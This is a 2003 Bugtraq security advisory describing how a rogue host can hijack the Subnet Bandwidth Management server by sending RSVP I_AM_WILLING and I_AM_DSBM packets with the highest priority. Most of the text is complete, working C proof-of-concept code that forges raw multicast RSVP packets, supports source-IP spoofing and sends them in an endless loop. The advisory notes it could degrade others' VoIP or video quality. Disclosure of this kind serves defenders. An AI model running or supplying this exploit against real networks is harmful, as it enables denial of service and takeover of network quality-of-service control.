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Date: 11 Aug 2003 19:07:47 -0000
From: <root@...workpenetration.com>
To: bugtraq@...urityfocus.com
Subject: Subnet Bandwidth Management (SBM) Protocol subject to attack via
the Resource Reservation Protocol (RSVP)
Network Penetration
www.networkpenetration.com
Copyright (c) 2003 Ste Jones
root@...workpenetration.com
Subnet Bandwidth Management (SBM) Protocol subject to attack via the
Resource Reservation Protocol (RSVP)
Introduction
------------
The resource reservation protocol (RSVP) is used within the Subnet
Bandwidth Management protocol (RFC 2814) and is vulnerable to allowing a
rogue host hijack control of a server via the use of priority assignemnt.
By specifying a higher priority than the current RSVP server would allow
the current server to be pre-empted and a rogue one take its place.
How the attack works
--------------------
Send I_AM_WILLING RSVP packets to be the resource resvervation protocol
server to indicate that the the source host is willing to be a RSVP server.
Send I_AM_DSBM RSVP packets to indicate that the source address has a
priority of 255 (1 byte - thus highest possible priority). If the server
has a lower priority, it will be pre-empted and the source address will
take over and act as the resource reservation server.
For politceness four I_AM_WILLING packers are sent, followed by a
I_AM_DSBM packet every five seconds after that. This should ensure that
while the I_AM_DSBM packets are being sent the orignal RSVP server would
not handle resoure priority assignment. Tested against a Windows 2000 RSVP
server, but as this is a protocol attack it is assumed that would work
against any RSVP server.
For more information see http://support.microsoft.com/?kbid=228830
For more information see http://support.microsoft.com/?kbid=247101
Further Attacks Possible
------------------------
A spoofed server could allow different hosts to have a different level of
quality of service (QoS), either giving a higher level priority to a host
or reducing the priority of a video link or a VoIP connection for example.
Proof of concept code
---------------------
//Network Penetration
//www.networkpenetration.com
//ste jones root@...workpenetration.com
//
//Proof of concept code for attack against RSVP / SBM (RFC 2814)
//compile: gcc rsvp.c -Wall -o RSVP_DoS
//Allows spoofing of source IP with -s
//Tested on linux against win2k server
//You will need to be root to launch the attack as we are using raw sockets
/*RSVP
* Resource ReserVation Protocol Munger
*
* multicast IP 224.0.0.17
* IP protocol number 0x2e for RSVP
*
* RSVP Header
* Version = 4bits
* flags = 4 bits
* message type = 8 bits = 67 = I_AM_DSBM
* RSVP checksum = 16 bits = set to 0's
* TTL = 8 bits = 1 on multicast
* Reserved = 8 bits
* RSVP length = 16 bits
* + data
*
* Data header
* Length = 16 bits
* Class = 8 bits
* type = 8 bits
* Obj contents
*/
/*
*Proof of concept - doesn;t check if RSVP priority of server assumes lower
*/
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
void usage(char *progname);
void startattack(void);
unsigned short in_chksum(unsigned short *pts, int nbytes);
struct rsvphead{
int flags:4;
int version:4;
char type:8;
int checksum:16;
char ttl:8;
char reserved:8;
int length:16;
};
struct rsvpdata{
char buf[40];
};
struct header{
struct iphdr ip;
struct rsvphead rhead;
struct rsvpdata rdata;
};
struct in_addr spoofed;
int main(int argc, char *argv[])
{
int c;
printf("RSVP Munger by Ste Jones from NetworkPenetration.com\n");
printf("----------------------------------------------------\n");
opterr = 0; //stop error messages from command line
while ((c=getopt(argc, argv, "s:")) != -1){
switch(c){
case 's': if(!inet_aton(optarg, &spoofed)){
printf("Malformed IP
address: %s\n",optarg);
exit(1);
}
break;
default: usage(argv[0]);
exit(1);
break;
}
}
for(;;){
startattack();
}
exit(0);
}
void startattack(void)
{
struct header heada;
struct sockaddr_in sin;
int sock;
int on;
int sinlen;
int willing;
unsigned char *sourceip;
on = 1;
willing = 4; //send willing four times then I_AM_DBSM
printf("\nSending %d I_AM_WILLING packets followed by I_AM_DSBM
packets every 5 seconds\n\n", willing);
for(;;){
memset(&heada, '\0', sizeof(heada));
if(willing) printf("Creating I_AM_WILLING packet\n");
else printf("Creating I_AM_DSBM packet\n");
heada.ip.ihl = 5;
heada.ip.version = 4;
heada.ip.tos = 0xc0; //same options as set by Microsoft
RSVP
if(willing) heada.ip.tot_len = htons(56);
else heada.ip.tot_len = htons(64);
heada.ip.id = 0x0000; //checksum calculate later
heada.ip.frag_off = 0;
heada.ip.ttl = 1; //multicast uses ttl of 1
heada.ip.protocol = 0x2e; //RSVP protocol number
heada.ip.check = 0;
if(spoofed.s_addr){
heada.ip.saddr = spoofed.s_addr;
}
else heada.ip.saddr = 0; //let kernel decide
heada.ip.daddr = inet_addr("224.0.0.17");
sourceip = (unsigned char *)&heada.ip.saddr;
heada.rhead.flags = 0;
heada.rhead.version = 1;
if(willing) heada.rhead.type = 0x42; //I_AM_WILLING
else heada.rhead.type = 0x43; //I_AM_DSBM
heada.rhead.checksum= 0x0000; //checksum calculated later
heada.rhead.ttl = 0x01;
heada.rhead.reserved= 0x00;
if(willing) heada.rhead.length = 0x2400;
else heada.rhead.length = 0x2c00;
heada.rdata.buf[0] = 0x00;//length
heada.rdata.buf[1] = 0x08;//length
heada.rdata.buf[2] = 0x2a;//0x2a01 = DSBM IP ADDR
heada.rdata.buf[3] = 0x01;
heada.rdata.buf[4] = sourceip[0];//IP address
heada.rdata.buf[5] = sourceip[1];//if not spoofed DSBM IP
ADDR = 0
heada.rdata.buf[6] = sourceip[2];//
heada.rdata.buf[7] = sourceip[3];//
heada.rdata.buf[8] = 0x00;//length
heada.rdata.buf[9] = 0x0c;//length
heada.rdata.buf[10] = 0xa1;//0a101 = RSVP_HOP_L2, IEEE
canonical addr
heada.rdata.buf[11] = 0x01;
heada.rdata.buf[12] = 0x00; //mac addr
heada.rdata.buf[13] = 0x11; //
heada.rdata.buf[14] = 0x22; //
heada.rdata.buf[15] = 0x33; //
heada.rdata.buf[16] = 0x44; //
heada.rdata.buf[17] = 0x55; //
heada.rdata.buf[18] = 0x00; //
heada.rdata.buf[19] = 0x00; //
heada.rdata.buf[20] = 0x00; //length
heada.rdata.buf[21] = 0x08; //length
heada.rdata.buf[22] = 0x2b; // 0x2b01 = SMB_Priority
heada.rdata.buf[23] = 0x01; //
heada.rdata.buf[24] = 0x00; //priority
heada.rdata.buf[25] = 0x00; //priority
heada.rdata.buf[26] = 0x00; //priority
if(!willing)heada.rdata.buf[27] = 0xff; //priority 255
else heada.rdata.buf[27] = 0xff; //priority
//priority = 255
//highest possible priority
//if server has lower priority vulernable to DoS
if(!willing){
heada.rdata.buf[28] = 0x00; //length
heada.rdata.buf[29] = 0x08; //length
heada.rdata.buf[30] = 0x2c; //0x2c01 = DSBM timer
intervals
heada.rdata.buf[31] = 0x01;
heada.rdata.buf[32] = 0x00; //retransmit time
heada.rdata.buf[33] = 0x00; //
heada.rdata.buf[34] = 0x0f; //0x0f?
heada.rdata.buf[35] = 0x05; //time 5 seconds
}
heada.ip.check = in_chksum((unsigned short *)&heada.ip,
20);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr("224.0.0.17");
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
printf("Socket error %s\n",strerror(errno));
exit(1);
}
if((setsockopt(sock,IPPROTO_IP, IP_HDRINCL, &on, sizeof
(on))) < 0){
printf("Setsockopt error %s\n",strerror(errno));
exit(1);
}
sinlen = sizeof(sin);
if(willing){
if(sendto(sock, &heada, 56, 0, (struct sockaddr *)
&sin, sinlen) != 56){
printf("Sento error\n");
exit(1);
}
printf("Sent I_AM_WILLING packet\n");
}
else{
if(sendto(sock, &heada, 64, 0, (struct sockaddr *)
&sin, sinlen) != 64){
printf("Sento error\n");
exit(1);
}
printf("Sent I_AM_DBSM packet\n");
}
close(sock);
if(willing) willing--;
sleep(5);
}
}
void usage(char *progname)
{
printf("\n%s\n", progname);
printf("\t-s <ip address> Spoof source IP address\n");
printf("\n");
exit(1);
}
unsigned short in_chksum(unsigned short *pts, int nbytes)
{
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while(nbytes > 1){
sum += *pts++;
nbytes -=2;
}
if(nbytes == 1){
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)pts;
sum += oddbyte;
}
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >>16);
answer = ~sum;
return(answer);
}
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